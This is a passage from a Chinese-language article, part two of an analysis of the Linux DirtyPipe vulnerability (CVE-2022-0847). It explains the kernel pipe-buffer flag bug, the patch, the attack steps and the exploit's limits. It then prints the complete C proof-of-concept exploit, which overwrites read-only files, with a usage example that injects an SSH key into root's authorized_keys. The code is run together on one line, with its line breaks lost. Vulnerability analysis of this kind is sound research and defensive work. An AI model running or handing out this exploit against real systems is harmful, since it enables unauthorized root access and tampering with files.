CVE-2022-0847 DirtyPipe漏洞分析( 二 )


⑦ 最新网安大厂面试题合集(含答案)
⑧ App客户端安全检测指南(Android/ target=_blank class=infotextkey>安卓+IOS)
 
 
由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑
 

CVE-2022-0847 DirtyPipe漏洞分析

文章插图
 
最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page
 

CVE-2022-0847 DirtyPipe漏洞分析

文章插图
 
可以看到buf->pagepage地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中
 

CVE-2022-0847 DirtyPipe漏洞分析

文章插图
 
补丁 
 
补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程
 

CVE-2022-0847 DirtyPipe漏洞分析

文章插图
 
总结 
 
DirtyPipe攻击流程
 
 
  • 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位
  • 清空管道缓冲区
  • 使用splice函数获取文件所对应的物理页
  • 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作
 
 
DirtyPipe利用的限制
 
 
  • 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行
  • 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据)
  • 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页
 
 
完整的poc 
 
/* SPDX-License-Identifier: GPL-2.0 *//** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <max.kellermann@ionos.com>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* "pipe_buffer.flags" variable. It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd ("pipe: merge* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $'nssh-ed25519 AAA......n'** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/*** Create a pipe where all "bufs" on the pipe_inode_info ring have the* PIPE_BUF_FLAG_CAN_MERGE flag set.*/static void prepare_pipe(int p[2]){if (pipe(p)) abort();const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);static char buffer[4096];/* fill the pipe completely; each pipe_buffer will now havethe PIPE_BUF_FLAG_CAN_MERGE flag */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;write(p[1], buffer, n);r -= n;}/* drain the pipe, freeing all pipe_buffer instances (butleaving the flags initialized) */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;read(p[0], buffer, n);r -= n;}/* the pipe is now empty, and if somebody adds a newpipe_buffer without initializing its "flags", the bufferwill be mergeable */}int main(int argc, char **argv){if (argc != 4) {fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATAn", argv[0]);return EXIT_FAILURE;}/* dumb command-line argument parser */const char *const path = argv[1];loff_t offset = strtoul(argv[2], NULL, 0);const char *const data = argv[3];const size_t data_size = strlen(data);if (offset % PAGE_SIZE == 0) {fprintf(stderr, "Sorry, cannot start writing at a page boundaryn");return EXIT_FAILURE;}const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;const loff_t end_offset = offset + (loff_t)data_size;if (end_offset > next_page) {fprintf(stderr, "Sorry, cannot write across a page boundaryn");return EXIT_FAILURE;}/* open the input file and validate the specified offset */const int fd = open(path, O_RDONLY); // yes, read-only! :-)if (fd < 0) {perror("open failed");return EXIT_FAILURE;}struct stat st;if (fstat(fd, &st)) {perror("stat failed");return EXIT_FAILURE;}if (offset > st.st_size) {fprintf(stderr, "Offset is not inside the filen");return EXIT_FAILURE;}if (end_offset > st.st_size) {fprintf(stderr, "Sorry, cannot enlarge the filen");return EXIT_FAILURE;}/* create the pipe with all flags initialized withPIPE_BUF_FLAG_CAN_MERGE */int p[2];prepare_pipe(p);/* splice one byte from before the specified offset into thepipe; this will add a reference to the page cache, butsince copy_page_to_iter_pipe() does not initialize the"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) {perror("splice failed");return EXIT_FAILURE;}if (nbytes == 0) {fprintf(stderr, "short splicen");return EXIT_FAILURE;}/* the following write will not create a new pipe_buffer, butwill instead write into the page cache, because of thePIPE_BUF_FLAG_CAN_MERGE flag */nbytes = write(p[1], data, data_size);if (nbytes < 0) {perror("write failed");return EXIT_FAILURE;}if ((size_t)nbytes < data_size) {fprintf(stderr, "short writen");return EXIT_FAILURE;}printf("It worked!n");return EXIT_SUCCESS;}


推荐阅读